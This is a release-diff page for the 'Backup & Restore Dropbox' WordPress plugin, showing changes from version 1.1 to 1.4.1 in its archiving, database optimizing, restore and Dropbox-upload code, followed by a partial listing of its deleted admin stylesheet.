Version Description
Please, keep your Dropbox Backup and Restore plugin up-to-date.
Download this release
Release Info
Developer | backup-dropbox |
Plugin | Backup & Restore Dropbox |
Version | 1.4.1 |
Comparing to | |
See all releases |
Code changes from version 1.1 to 1.4.1
- class-wpadm-method-class.php +0 -26
- commands/class-wpadm-command-archive.php +56 -44
- commands/class-wpadm-command-mysqloptimize.php +22 -22
- commands/class-wpadm-command-restore-backup.php +5 -6
- commands/class-wpadm-command-send-to-dropbox.php +47 -6
- css/admin-style-wpadm.css +0 -702
- dropbox-backup.php +13 -11
- functions/index.php +1 -0
- functions/wpadm.php +190 -0
- img/dropbox.png +0 -0
- img/stars-5.png +0 -0
- wpadm-logo.png → img/wpadm-logo.png +0 -0
- img/wpadmload.gif +0 -0
- libs/error.class.php +40 -0
- libs/index.php +1 -0
- libs/lang.class.php +106 -0
- libs/lang/index.php +1 -0
- libs/wpadm.server.main.class.php +904 -0
- main/index.php +1 -0
- main/wpadm-class-wp.php +749 -0
- methods/class-wpadm-method-backup-delete.php +27 -27
- methods/class-wpadm-method-backup-list.php +44 -44
- methods/class-wpadm-method-backup.php +406 -450
- methods/class-wpadm-method-full-backup-dropbox.php +65 -44
- methods/class-wpadm-method-local-backup.php +210 -141
- methods/class-wpadm-method-local-restore.php +43 -24
- methods/class-wpadm-method-queue-controller.php +5 -16
- methods/class-wpadm-method-send-to-dropbox.php +63 -21
- methods/class-wpadm-method-update.php +5 -4
- modules/class-wpadm-archive.php +49 -41
- modules/class-wpadm-command-context.php +31 -27
- class-wpadm-command.php → modules/class-wpadm-command.php +13 -13
- class-wpadm-core.php → modules/class-wpadm-core.php +85 -39
- modules/class-wpadm-method-class.php +38 -0
- modules/class-wpadm-mysqldump.php +180 -189
- modules/class-wpadm-queue.php +20 -4
- class-wpadm-result.php → modules/class-wpadm-result.php +126 -116
- modules/class-wpadm-running.php +239 -0
- modules/constant.php +58 -0
- modules/dropbox.class.php +1 -0
- errorHandler.php → modules/errorHandler.php +0 -0
- readme.txt +513 -15
- template/css/admin-style-wpadm.css +996 -0
- template/css/folder.png +0 -0
- template/css/icon-folder-open.gif +0 -0
- template/css/index.php +2 -0
- template/css/tool-bar.css +4 -0
- template/dropbox_pro_logo_box1.png +0 -0
- template/expsys.php +25 -0
- template/index.php +1 -0
- template/js/admin-wpadm.js +63 -0
- template/js/index.php +2 -0
- template/js/jquery.arcticmodal-0.3.css +8 -0
- template/js/jquery.arcticmodal-0.3.min.js +22 -0
- template/not-ok.png +0 -0
- template/notice.php +8 -0
- template/notice5.php +11 -0
- template/ok-icon.png +0 -0
- template/ok.png +0 -0
- template/wpadm_show_backup.php +1345 -0
- tmp/archive +1 -0
- wpadm.php +0 -249
class-wpadm-method-class.php
DELETED
@@ -1,26 +0,0 @@
|
|
1 |
-
<?php
|
2 |
-
|
3 |
-
|
4 |
-
if (!class_exists('WPAdm_Method_Class')) {
|
5 |
-
abstract class WPAdm_Method_Class {
|
6 |
-
/**
|
7 |
-
* @var mixed
|
8 |
-
*/
|
9 |
-
protected $params;
|
10 |
-
|
11 |
-
/**
|
12 |
-
* @var WPAdm_result
|
13 |
-
*/
|
14 |
-
protected $result;
|
15 |
-
|
16 |
-
/**
|
17 |
-
* @param mixed $params
|
18 |
-
*/
|
19 |
-
public function __construct($params) {
|
20 |
-
$this->params = $params;
|
21 |
-
$this->result = new WPAdm_Result();
|
22 |
-
}
|
23 |
-
|
24 |
-
abstract function getResult();
|
25 |
-
}
|
26 |
-
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
commands/class-wpadm-command-archive.php
CHANGED
@@ -1,45 +1,57 @@
|
|
1 |
-
<?php
|
2 |
-
|
3 |
-
|
4 |
-
class WPadm_Command_Archive extends WPAdm_Сommand{
|
5 |
-
public function execute(WPAdm_Command_Context $context)
|
6 |
-
{
|
7 |
-
|
8 |
-
|
9 |
-
$
|
10 |
-
|
11 |
-
|
12 |
-
|
13 |
-
|
14 |
-
if (file_exists($af
|
15 |
-
|
16 |
-
|
17 |
-
|
18 |
-
$
|
19 |
-
$archive
|
20 |
-
|
21 |
-
|
22 |
-
|
23 |
-
|
24 |
-
|
25 |
-
|
26 |
-
|
27 |
-
|
28 |
-
$
|
29 |
-
|
30 |
-
|
31 |
-
|
32 |
-
|
33 |
-
|
34 |
-
|
35 |
-
|
36 |
-
|
37 |
-
|
38 |
-
|
39 |
-
|
40 |
-
|
41 |
-
$
|
42 |
-
$
|
43 |
-
|
44 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
45 |
}
|
1 |
+
<?php
|
2 |
+
|
3 |
+
|
4 |
+
class WPadm_Command_Archive extends WPAdm_Сommand{
|
5 |
+
public function execute(WPAdm_Command_Context $context)
|
6 |
+
{
|
7 |
+
ini_set("memory_limit", "256M");
|
8 |
+
require_once WPAdm_Core::getPluginDir() . '/modules/class-wpadm-archive.php';
|
9 |
+
$af = $this->getArchiveName($context->get('to_file'));
|
10 |
+
ini_set("memory_limit", "256M");
|
11 |
+
$archive = new WPAdm_Archive($af, $context->get('to_file') . '.md5');
|
12 |
+
$archive->setRemovePath($context->get('remove_path'));
|
13 |
+
$files = $context->get('files');
|
14 |
+
if ( !file_exists( $af ) ) {
|
15 |
+
WPAdm_Core::log(langWPADM::get('Create part ', false) . basename( $af ) );
|
16 |
+
}
|
17 |
+
if (file_exists($af) && filesize($af) > $context->get('max_file_size')) {
|
18 |
+
$af = $this->getNextArchiveName($context->get('to_file'));
|
19 |
+
unset($archive);
|
20 |
+
if ( !file_exists( $af ) ) {
|
21 |
+
WPAdm_Core::log(langWPADM::get('Create part ', false) . basename( $af ) );
|
22 |
+
}
|
23 |
+
$archive = new WPAdm_Archive($af, $context->get('to_file') . '.md5');
|
24 |
+
$archive->setRemovePath($context->get('remove_path'));
|
25 |
+
}
|
26 |
+
$files_str = implode(',', $files);
|
27 |
+
$files_archive = WPAdm_Running::getCommandResultData('archive');
|
28 |
+
if (!in_array($files_str, $files_archive)) {
|
29 |
+
$archive->add($files_str);
|
30 |
+
$files_archive = WPAdm_Running::getCommandResultData('archive');
|
31 |
+
$files_archive[] = $files_str;
|
32 |
+
if (!empty($files_archive)) {
|
33 |
+
WPAdm_Running::setCommandResultData('archive', $files_archive);
|
34 |
+
}
|
35 |
+
}
|
36 |
+
return true;
|
37 |
+
}
|
38 |
+
|
39 |
+
private function getArchiveName($name)
|
40 |
+
{
|
41 |
+
$archives = glob("{$name}-*.zip");
|
42 |
+
if (empty($archives)) {
|
43 |
+
return "{$name}-1.zip";
|
44 |
+
}
|
45 |
+
$n = count($archives);
|
46 |
+
$f = "{$name}-{$n}.zip";
|
47 |
+
return $f;
|
48 |
+
}
|
49 |
+
|
50 |
+
private function getNextArchiveName($name)
|
51 |
+
{
|
52 |
+
$archives = glob("{$name}-*.zip");
|
53 |
+
$n = 1 + count($archives);
|
54 |
+
$a = "{$name}-{$n}.zip";
|
55 |
+
return $a;
|
56 |
+
}
|
57 |
}
|
commands/class-wpadm-command-mysqloptimize.php
CHANGED
@@ -1,22 +1,22 @@
|
|
1 |
-
<?php
|
2 |
-
if (!class_exists('WPadm_Command_Mysqloptimize')) {
|
3 |
-
class WPadm_Command_Mysqloptimize extends WPAdm_Сommand{
|
4 |
-
public function execute(WPAdm_Command_Context $context)
|
5 |
-
{
|
6 |
-
//WPAdm_Core::log(print_r($context, true));
|
7 |
-
require_once WPAdm_Core::getPluginDir() . '/modules/class-wpadm-mysqldump.php';
|
8 |
-
$mysqldump = new WPAdm_Mysqldump();
|
9 |
-
$mysqldump->host = $context->get('host');
|
10 |
-
$mysqldump->user = $context->get('user');
|
11 |
-
$mysqldump->password = $context->get('password');
|
12 |
-
|
13 |
-
try {
|
14 |
-
$mysqldump->optimize($context->get('db'));
|
15 |
-
} catch (Exception $e) {
|
16 |
-
$context->setError($e->getMessage());
|
17 |
-
return false;
|
18 |
-
}
|
19 |
-
return true;
|
20 |
-
}
|
21 |
-
}
|
22 |
-
}
|
1 |
+
<?php
|
2 |
+
if (!class_exists('WPadm_Command_Mysqloptimize')) {
|
3 |
+
class WPadm_Command_Mysqloptimize extends WPAdm_Сommand{
|
4 |
+
public function execute(WPAdm_Command_Context $context)
|
5 |
+
{
|
6 |
+
//WPAdm_Core::log(print_r($context, true));
|
7 |
+
require_once WPAdm_Core::getPluginDir() . '/modules/class-wpadm-mysqldump.php';
|
8 |
+
$mysqldump = new WPAdm_Mysqldump();
|
9 |
+
$mysqldump->host = $context->get('host');
|
10 |
+
$mysqldump->user = $context->get('user');
|
11 |
+
$mysqldump->password = $context->get('password');
|
12 |
+
|
13 |
+
try {
|
14 |
+
$mysqldump->optimize($context->get('db'));
|
15 |
+
} catch (Exception $e) {
|
16 |
+
$context->setError($e->getMessage());
|
17 |
+
return false;
|
18 |
+
}
|
19 |
+
return true;
|
20 |
+
}
|
21 |
+
}
|
22 |
+
}
|
commands/class-wpadm-command-restore-backup.php
CHANGED
@@ -10,7 +10,7 @@ if (!class_exists('WPadm_Command_Restore_Backup')) {
|
|
10 |
$file = $context->get('file');
|
11 |
$is_dump = $file && strpos($file, "mysqldump.sql");
|
12 |
|
13 |
-
WPAdm_Core::log( "
|
14 |
if ($is_dump !== false) {
|
15 |
$inzip = str_replace(ABSPATH, "", $file);
|
16 |
$file_in_zip = $this->archive->extract(PCLZIP_OPT_BY_NAME, $inzip);
|
@@ -19,8 +19,8 @@ if (!class_exists('WPadm_Command_Restore_Backup')) {
|
|
19 |
}
|
20 |
|
21 |
if ($file_in_zip == 0) {
|
22 |
-
WPAdm_Core::log( "
|
23 |
-
$context->setError( "
|
24 |
return false;
|
25 |
}
|
26 |
//WPAdm_Core::log(print_r($file_in_zip, 1));
|
@@ -40,10 +40,9 @@ if (!class_exists('WPadm_Command_Restore_Backup')) {
|
|
40 |
}
|
41 |
}
|
42 |
}
|
43 |
-
|
44 |
} else {
|
45 |
-
$context->setError("
|
46 |
-
WPAdm_Core::log( "
|
47 |
return false;
|
48 |
}
|
49 |
return true;
|
10 |
$file = $context->get('file');
|
11 |
$is_dump = $file && strpos($file, "mysqldump.sql");
|
12 |
|
13 |
+
WPAdm_Core::log( "Data decompression " . basename($context->get('zip_file')) );
|
14 |
if ($is_dump !== false) {
|
15 |
$inzip = str_replace(ABSPATH, "", $file);
|
16 |
$file_in_zip = $this->archive->extract(PCLZIP_OPT_BY_NAME, $inzip);
|
19 |
}
|
20 |
|
21 |
if ($file_in_zip == 0) {
|
22 |
+
WPAdm_Core::log( langWPADM::get("Website \"%d\" returned an error during archive extracting: ", false, "%d", SITE_HOME) . $this->archive->errorInfo(true) );
|
23 |
+
$context->setError( langWPADM::get("Website \"%d\" returned an error during archive extracting: ", false, "%d", SITE_HOME) . $this->archive->errorInfo(true) );
|
24 |
return false;
|
25 |
}
|
26 |
//WPAdm_Core::log(print_r($file_in_zip, 1));
|
40 |
}
|
41 |
}
|
42 |
}
|
|
|
43 |
} else {
|
44 |
+
$context->setError( langWPADM::get("Website \"%d\" returned an error: The necessary file of archive \"%f\" wasn't found ", false, array('%d', '%f'), array(SITE_HOME, $context->get('zip_file') ) ) );
|
45 |
+
WPAdm_Core::log( langWPADM::get("Website \"%d\" returned an error: The necessary file of archive \"%f\" wasn't found ", false, array('%d', '%f'), array(SITE_HOME, $context->get('zip_file') ) ) );
|
46 |
return false;
|
47 |
}
|
48 |
return true;
|
commands/class-wpadm-command-send-to-dropbox.php
CHANGED
@@ -8,15 +8,16 @@ if (!class_exists('WPadm_Command_Send_To_Dropbox')) {
|
|
8 |
@session_start();
|
9 |
require_once WPAdm_Core::getPluginDir() . '/modules/dropbox.class.php';
|
10 |
|
11 |
-
WPAdm_Core::log('Send
|
12 |
$dropbox = new dropbox($context->get('key'), $context->get('secret'), $context->get('token'));
|
13 |
|
14 |
if (!$dropbox->isAuth()) {
|
15 |
-
$context->setError("
|
|
|
|
|
16 |
return false;
|
17 |
}
|
18 |
$files = $context->get('files');
|
19 |
-
|
20 |
$file = explode("/", $files);
|
21 |
$file_name = array_pop($file);
|
22 |
$folder_project_temp = $context->get('folder_project');
|
@@ -31,15 +32,55 @@ if (!class_exists('WPadm_Command_Send_To_Dropbox')) {
|
|
31 |
|
32 |
$fromFile = str_replace('//', '/', $files);
|
33 |
$toFile = str_replace('//', '/', $folder_project . $context->get('folder') . '/' . $file_name);
|
34 |
-
$
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
35 |
if (isset($res['error']) && isset($res['text']) && $res['error'] == 1) {
|
36 |
-
$context->setError(
|
37 |
return false;
|
38 |
}
|
39 |
if (isset($res['size']) && isset($res['client_mtime'])) {
|
40 |
-
WPAdm_Core::log(
|
|
|
41 |
}
|
42 |
return true;
|
43 |
}
|
|
|
|
|
|
|
|
|
|
|
|
|
44 |
}
|
45 |
}
|
8 |
@session_start();
|
9 |
require_once WPAdm_Core::getPluginDir() . '/modules/dropbox.class.php';
|
10 |
|
11 |
+
WPAdm_Core::log( langWPADM::get('Send to dropbox files' , false) );
|
12 |
$dropbox = new dropbox($context->get('key'), $context->get('secret'), $context->get('token'));
|
13 |
|
14 |
if (!$dropbox->isAuth()) {
|
15 |
+
$context->setError( langWPADM::get('Website "%d" can\'t authorize on Dropbox with using of "app key: %k" and "app secret: %s"' , false,
|
16 |
+
array('%d', '%k', '%s'),
|
17 |
+
array( SITE_HOME, $context->get('key'), $context->get('secret') ) ) );
|
18 |
return false;
|
19 |
}
|
20 |
$files = $context->get('files');
|
|
|
21 |
$file = explode("/", $files);
|
22 |
$file_name = array_pop($file);
|
23 |
$folder_project_temp = $context->get('folder_project');
|
32 |
|
33 |
$fromFile = str_replace('//', '/', $files);
|
34 |
$toFile = str_replace('//', '/', $folder_project . $context->get('folder') . '/' . $file_name);
|
35 |
+
$local = $context->get('local');
|
36 |
+
$file_dropbox = $dropbox->listing($folder_project . $context->get('folder') . '/' . $file_name);
|
37 |
+
$send = true;
|
38 |
+
if ( !isset($file_dropbox['error']) ) {
|
39 |
+
if ($file_dropbox['bytes'] != filesize($fromFile)) {
|
40 |
+
$delete_file = $dropbox->deleteFile($folder_project . $context->get('folder') . '/' . $file_name);
|
41 |
+
if (isset($delete_file['error'])) {
|
42 |
+
$context->setError( langWPADM::get('Dropbox returned an error during file sending: ' , false) . '"' . $delete_file['text'] . '"');
|
43 |
+
return false;
|
44 |
+
}
|
45 |
+
$data_error_command = WPAdm_Running::getCommandResultData('errors_sending');
|
46 |
+
if (isset($data_command[$fromFile])) {
|
47 |
+
$data_error_command[$fromFile]['count'] += 1;
|
48 |
+
} else {
|
49 |
+
$data_error_command[$fromFile] = array();
|
50 |
+
$data_error_command[$fromFile]['count'] = 1;
|
51 |
+
}
|
52 |
+
WPAdm_Running::setCommandResultData('errors_sending', $data_error_command);
|
53 |
+
} else {
|
54 |
+
$send = false;
|
55 |
+
}
|
56 |
+
}
|
57 |
+
if ( $local ) {
|
58 |
+
$data_command = WPAdm_Running::getCommandResultData('command_dropbox');
|
59 |
+
if (empty($data_command) || !in_array($fromFile ,$data_command) ) {
|
60 |
+
if ($send) {
|
61 |
+
$res = $dropbox->uploadFile($fromFile, $toFile, true);
|
62 |
+
} else {
|
63 |
+
$this->saveDataCommand($fromFile);
|
64 |
+
}
|
65 |
+
}
|
66 |
+
} else {
|
67 |
+
$res = $dropbox->uploadFile($fromFile, $toFile, true);
|
68 |
+
}
|
69 |
if (isset($res['error']) && isset($res['text']) && $res['error'] == 1) {
|
70 |
+
$context->setError( langWPADM::get('Dropbox returned an error during file sending: ' , false) . '"' . $res['text'] . '"');
|
71 |
return false;
|
72 |
}
|
73 |
if (isset($res['size']) && isset($res['client_mtime'])) {
|
74 |
+
WPAdm_Core::log( langWPADM::get('File upload: ' , false) . basename( $files ) . langWPADM::get(' size: ' , false) . $res['size']);
|
75 |
+
$this->saveDataCommand($fromFile);
|
76 |
}
|
77 |
return true;
|
78 |
}
|
79 |
+
private function saveDataCommand($file)
|
80 |
+
{
|
81 |
+
$data_command = WPAdm_Running::getCommandResultData('command_dropbox');
|
82 |
+
$data_command[] = $file;
|
83 |
+
WPAdm_Running::setCommandResultData('command_dropbox', $data_command);
|
84 |
+
}
|
85 |
}
|
86 |
}
|
css/admin-style-wpadm.css
DELETED
@@ -1,702 +0,0 @@
|
|
1 |
-
|
2 |
-
.wpadm-notice {
|
3 |
-
background: #fff;
|
4 |
-
border-left: 4px solid #dd3d36;
|
5 |
-
box-shadow: 0 1px 1px 0 rgba(0, 0, 0, 0.1);
|
6 |
-
font-size: 16px;
|
7 |
-
overflow: hidden;
|
8 |
-
position: relative;
|
9 |
-
text-align: left;
|
10 |
-
clear: both;
|
11 |
-
height: 60px;
|
12 |
-
margin-top: 15px;
|
13 |
-
width: 95%;
|
14 |
-
}
|
15 |
-
.button-link {
|
16 |
-
background:none!important;
|
17 |
-
border:none;
|
18 |
-
padding:0!important;
|
19 |
-
font: inherit;
|
20 |
-
color:#0074a2;
|
21 |
-
border-bottom:1px solid #0074a2;
|
22 |
-
padding-bottom: 1px;
|
23 |
-
cursor: pointer;
|
24 |
-
line-height: 15px;
|
25 |
-
}
|
26 |
-
.button-link:hover {
|
27 |
-
color:#2ea2cc;
|
28 |
-
border-bottom:1px solid #2ea2cc;
|
29 |
-
}
|
30 |
-
.wpadm-notice div.registr {
|
31 |
-
margin-top : 20px;
|
32 |
-
font-size: 16px;
|
33 |
-
margin-left: 15px;
|
34 |
-
}
|
35 |
-
|
36 |
-
.form-counter {
|
37 |
-
background: #0096d6;
|
38 |
-
border: 1px solid #fff;
|
39 |
-
width: 95%;
|
40 |
-
margin-bottom: 20px;
|
41 |
-
margin-top: 20px;
|
42 |
-
color:#fff;
|
43 |
-
}
|
44 |
-
|
45 |
-
.form-counter table tr td{
|
46 |
-
padding: 10px;
|
47 |
-
}
|
48 |
-
.color-picker {
|
49 |
-
margin:10px;
|
50 |
-
}
|
51 |
-
.stat_title {
|
52 |
-
text-align: center;
|
53 |
-
font-size: 24px;
|
54 |
-
margin-top: 20px;
|
55 |
-
}
|
56 |
-
.cfTabsContainer {
|
57 |
-
background-color: #0096d6;
|
58 |
-
overflow: hidden;
|
59 |
-
width:95%;
|
60 |
-
padding: 15px;
|
61 |
-
margin-bottom: 40px;
|
62 |
-
margin-top: 30px;
|
63 |
-
-webkit-font-smoothing: antialiased;
|
64 |
-
}
|
65 |
-
|
66 |
-
|
67 |
-
.button-wpadm {
|
68 |
-
background: none repeat scroll 0 0 #00d2b8;
|
69 |
-
border-color: #cdcdcd;
|
70 |
-
box-shadow: 0 1px 0 #00d2b8 inset, 0 1px 0 rgba(0, 0, 0, 0.08);
|
71 |
-
color: #fff;
|
72 |
-
vertical-align: top;
|
73 |
-
border-radius: 3px;
|
74 |
-
border-style: solid;
|
75 |
-
border-width: 1px;
|
76 |
-
box-sizing: border-box;
|
77 |
-
cursor: pointer;
|
78 |
-
display: inline-block;
|
79 |
-
font-size: 13px;
|
80 |
-
height: 28px;
|
81 |
-
line-height: 26px;
|
82 |
-
margin: 0;
|
83 |
-
padding: 0 10px 1px;
|
84 |
-
text-decoration: none;
|
85 |
-
white-space: nowrap;
|
86 |
-
}
|
87 |
-
.wpadm-info {
|
88 |
-
font-size: 15px;
|
89 |
-
width: 30%;
|
90 |
-
margin-top:10px;
|
91 |
-
margin-left: 20px;
|
92 |
-
margin-bottom: 20px;
|
93 |
-
border-left: 1px solid #fff;
|
94 |
-
padding-left:20px;
|
95 |
-
padding-top: 20px;
|
96 |
-
height:200px;
|
97 |
-
}
|
98 |
-
.wpadm-info-title {
|
99 |
-
text-align:center;
|
100 |
-
padding:5px;
|
101 |
-
color:#fff;
|
102 |
-
font-size:20px;
|
103 |
-
}
|
104 |
-
.wpadm-registr-info {
|
105 |
-
width: 65%;
|
106 |
-
}
|
107 |
-
.wpadm-registr-info label {
|
108 |
-
color:#fff;
|
109 |
-
}
|
110 |
-
.wpadm-plugins-info {
|
111 |
-
width: 95%;
|
112 |
-
}
|
113 |
-
.services-info {
|
114 |
-
background: #fff; width: 95%; margin-top: 20px;
|
115 |
-
}
|
116 |
-
.title-services {
|
117 |
-
text-align: center; font-size: 20px; font-weight: 800; padding-bottom: 30px; padding-top: 20px;
|
118 |
-
}
|
119 |
-
|
120 |
-
.tmpl_line_body {
|
121 |
-
float: left;
|
122 |
-
margin: 0;
|
123 |
-
padding: 0;
|
124 |
-
position: relative;
|
125 |
-
width: 100%;
|
126 |
-
}
|
127 |
-
.wpadm-info-auth {
|
128 |
-
font-size: 11px;
|
129 |
-
padding-left:20px;
|
130 |
-
height:30px;
|
131 |
-
color:#fff;
|
132 |
-
margin-top: -5px;
|
133 |
-
}
|
134 |
-
#header_navigation_line {
|
135 |
-
background-color: #21759b;
|
136 |
-
background-image: linear-gradient(to bottom, #2a95c5, #21759b);
|
137 |
-
box-shadow: 0 2px 7px 2px rgba(50, 50, 50, 0.5);
|
138 |
-
height: 68px;
|
139 |
-
left: 0;
|
140 |
-
top: 0;
|
141 |
-
z-index: 1000;
|
142 |
-
}
|
143 |
-
#header_navigation_line #main_menu ul li {
|
144 |
-
display: inline-block;
|
145 |
-
float: none;
|
146 |
-
font-size: 14px;
|
147 |
-
font-weight: bold;
|
148 |
-
list-style: outside none none;
|
149 |
-
margin: 0;
|
150 |
-
padding: 0;
|
151 |
-
text-shadow: 0 1px 0 rgba(0, 0, 0, 0.1);
|
152 |
-
}
|
153 |
-
.inline {
|
154 |
-
float:left;
|
155 |
-
margin-top:10px;
|
156 |
-
margin-left:10px;
|
157 |
-
}
|
158 |
-
#header_navigation_line #main_menu ul li a {
|
159 |
-
background: -moz-linear-gradient(center top , #2e9ed2 5%, #21749b 100%) repeat scroll 0 0 #2e9ed2;
|
160 |
-
border: 1px solid #1b5f7f;
|
161 |
-
border-radius: 3px;
|
162 |
-
box-shadow: 1px 1px 0 0 #78c9e6 inset;
|
163 |
-
color: #dddddd;
|
164 |
-
display: inline-block;
|
165 |
-
float: left;
|
166 |
-
height: 43px;
|
167 |
-
line-height: 16px;
|
168 |
-
margin: 0 2px 0 0;
|
169 |
-
overflow: hidden;
|
170 |
-
padding: 5px 0;
|
171 |
-
text-decoration: none;
|
172 |
-
width: 90px;
|
173 |
-
}
|
174 |
-
#header_navigation_line #main_menu ul li:hover a {
|
175 |
-
background-image: linear-gradient(to bottom, #2fb1e5, #22759c);
|
176 |
-
color: #fff;
|
177 |
-
}
|
178 |
-
#header_navigation_line #main_menu {
|
179 |
-
float: left;
|
180 |
-
margin: 6px 0 0;
|
181 |
-
width: 100%;
|
182 |
-
}
|
183 |
-
#header_navigation_line #logo {
|
184 |
-
float: left;
|
185 |
-
left: 0;
|
186 |
-
position: absolute;
|
187 |
-
top: 9px;
|
188 |
-
width: auto;
|
189 |
-
}
|
190 |
-
#header_navigation_line #main_menu ul {
|
191 |
-
float: left;
|
192 |
-
list-style: outside none none;
|
193 |
-
margin: 0 0 0 20px;
|
194 |
-
padding: 0;
|
195 |
-
text-align: center;
|
196 |
-
width: 100%;
|
197 |
-
}
|
198 |
-
#header_navigation_line #main_menu ul li .nav_icon {
|
199 |
-
float: left;
|
200 |
-
height: 24px;
|
201 |
-
margin: 0;
|
202 |
-
padding: 0 0 3px;
|
203 |
-
width: 100%;
|
204 |
-
}
|
205 |
-
#header_navigation_line #main_menu ul li.active a, #header_navigation_line #main_menu ul li a:active {
|
206 |
-
background-image: linear-gradient(to bottom, #2cc4f5, #228bb4);
|
207 |
-
border: 1px solid #fff;
|
208 |
-
box-shadow: 0 1px 0 rgba(95, 157, 186, 0.6);
|
209 |
-
color: #fff;
|
210 |
-
}
|
211 |
-
.clear {
|
212 |
-
clear:both;
|
213 |
-
}
|
214 |
-
.plugins-info {
|
215 |
-
width:320px;
|
216 |
-
}
|
217 |
-
.plugin-box {
|
218 |
-
background: #0096d6;
|
219 |
-
border: 1px solid #e5e5e5;
|
220 |
-
box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04);
|
221 |
-
min-width: 255px;
|
222 |
-
position: relative;
|
223 |
-
line-height: 1;
|
224 |
-
margin-bottom: 20px;
|
225 |
-
padding: 0;
|
226 |
-
}
|
227 |
-
|
228 |
-
.plugins-info-content {
|
229 |
-
display:none;
|
230 |
-
border-top: 1px solid #fff;
|
231 |
-
margin-top:8px;
|
232 |
-
padding-top: 7px;
|
233 |
-
}
|
234 |
-
h3.plugins-title {
|
235 |
-
font-size: 14px;
|
236 |
-
line-height: 1.4;
|
237 |
-
margin: 0;
|
238 |
-
}
|
239 |
-
.plugins-title a {
|
240 |
-
color:#fff;
|
241 |
-
text-decoration: none;
|
242 |
-
|
243 |
-
}
|
244 |
-
.wpadm-registr-info, .wpadm-info, .wpadm-info-auth {
|
245 |
-
float:left;
|
246 |
-
color:#fff;
|
247 |
-
}
|
248 |
-
.button-wpadm:hover {
|
249 |
-
border-color:#cdcdcd;
|
250 |
-
background-color: #009583;
|
251 |
-
}
|
252 |
-
.wpadm-red:hover {
|
253 |
-
border-color:#737373 ;
|
254 |
-
background-color: #ff706c;
|
255 |
-
}
|
256 |
-
.wpadm-red {
|
257 |
-
background: none repeat scroll 0 0 #f21111;
|
258 |
-
border-color: #c7c6ce;
|
259 |
-
box-shadow: 0 1px 0 #ff2c26 inset, 0 1px 0 rgba(0, 0, 0, 0.08);
|
260 |
-
}
|
261 |
-
.info-detail {
|
262 |
-
background:#bee7e7;
|
263 |
-
}
|
264 |
-
.table {
|
265 |
-
margin:0px;padding:0px;
|
266 |
-
width:100%;
|
267 |
-
border:0px;
|
268 |
-
border-collapse: collapse;
|
269 |
-
border-spacing: 0;
|
270 |
-
width:100%;
|
271 |
-
height:100%;
|
272 |
-
border: 1px solid #b7c6ff;
|
273 |
-
border-radius: 3px;
|
274 |
-
margin-top: 60px;
|
275 |
-
|
276 |
-
}
|
277 |
-
.table th {
|
278 |
-
padding: 7px;
|
279 |
-
background-color:#dde4ff;
|
280 |
-
font-size:16px;
|
281 |
-
|
282 |
-
}
|
283 |
-
.table td {
|
284 |
-
background: #fff;
|
285 |
-
font-size: 14px;
|
286 |
-
padding: 5px 0;
|
287 |
-
border-bottom:1px solid #b7c6ff;
|
288 |
-
text-align: center;
|
289 |
-
}
|
290 |
-
.info-path td {
|
291 |
-
font-size: 11px;
|
292 |
-
padding:0px;
|
293 |
-
}
|
294 |
-
.table tr:last td {
|
295 |
-
|
296 |
-
border-bottom: 0px;
|
297 |
-
}
|
298 |
-
.header-table {
|
299 |
-
font-size:20px;
|
300 |
-
}
|
301 |
-
|
302 |
-
.stat {
|
303 |
-
width: 200px;
|
304 |
-
}
|
305 |
-
|
306 |
-
.w1{
|
307 |
-
width:5%;
|
308 |
-
}
|
309 |
-
.w2{
|
310 |
-
width:13%;
|
311 |
-
}
|
312 |
-
.w3{
|
313 |
-
width:7%;
|
314 |
-
}
|
315 |
-
.table-stat-moovdiv {
|
316 |
-
background: none repeat scroll 0 0 #FFFFFF;
|
317 |
-
border-spacing: 0;
|
318 |
-
box-shadow: 0 4px 4px rgba(0, 0, 0, 0.3);
|
319 |
-
left: 0px;
|
320 |
-
margin-top: 0;
|
321 |
-
padding: 10px 15px;
|
322 |
-
top: 0px;
|
323 |
-
width: 400px;
|
324 |
-
}
|
325 |
-
|
326 |
-
.table-stat-moovdiv tr td{
|
327 |
-
border-right: 0px;
|
328 |
-
margin-bottom: 1px;
|
329 |
-
margin-top: 1px;
|
330 |
-
padding-bottom: 1px;
|
331 |
-
padding-top: 1px;
|
332 |
-
border-bottom:1px solid #D6D6D6;
|
333 |
-
padding: 5px;
|
334 |
-
}
|
335 |
-
|
336 |
-
#page_item {
|
337 |
-
margin-bottom:3px;
|
338 |
-
float:left;
|
339 |
-
}
|
340 |
-
.block-export {
|
341 |
-
float: right;
|
342 |
-
margin-right: 20px;
|
343 |
-
}
|
344 |
-
.info {
|
345 |
-
width: 70%;
|
346 |
-
border: 0;
|
347 |
-
}
|
348 |
-
.info tr {
|
349 |
-
border-style: hidden;
|
350 |
-
}
|
351 |
-
.info tr td{
|
352 |
-
border-style: hidden;
|
353 |
-
padding: 5px;
|
354 |
-
text-align:left;
|
355 |
-
}
|
356 |
-
.chart-box {
|
357 |
-
background: #fff;
|
358 |
-
border:1px solid #cccccc;
|
359 |
-
border-radius:3px;
|
360 |
-
margin-top:25px;
|
361 |
-
}
|
362 |
-
.chart-box-title {
|
363 |
-
color:#575757;
|
364 |
-
border-bottom: 1px solid #cccccc;
|
365 |
-
font-size: 18px;
|
366 |
-
padding:10px;
|
367 |
-
}
|
368 |
-
.charts {
|
369 |
-
padding:5px;
|
370 |
-
padding-top: 15px;
|
371 |
-
}
|
372 |
-
.form-account {
|
373 |
-
margin-top: 30px;
|
374 |
-
margin-bottom : 40px;
|
375 |
-
border:5px solid #fff;
|
376 |
-
background: #ffffa5;
|
377 |
-
padding: 10px;
|
378 |
-
height: auto;
|
379 |
-
overflow:hidden;
|
380 |
-
}
|
381 |
-
.form-account-title {
|
382 |
-
margin-bottom: 20px;
|
383 |
-
font-size: 22px;
|
384 |
-
}
|
385 |
-
.form-account-block {
|
386 |
-
margin-left: 20px;
|
387 |
-
float:left;
|
388 |
-
width: 40%;
|
389 |
-
}
|
390 |
-
.form-account-login {
|
391 |
-
margin-top: 10px;
|
392 |
-
margin-bottom : 40px;
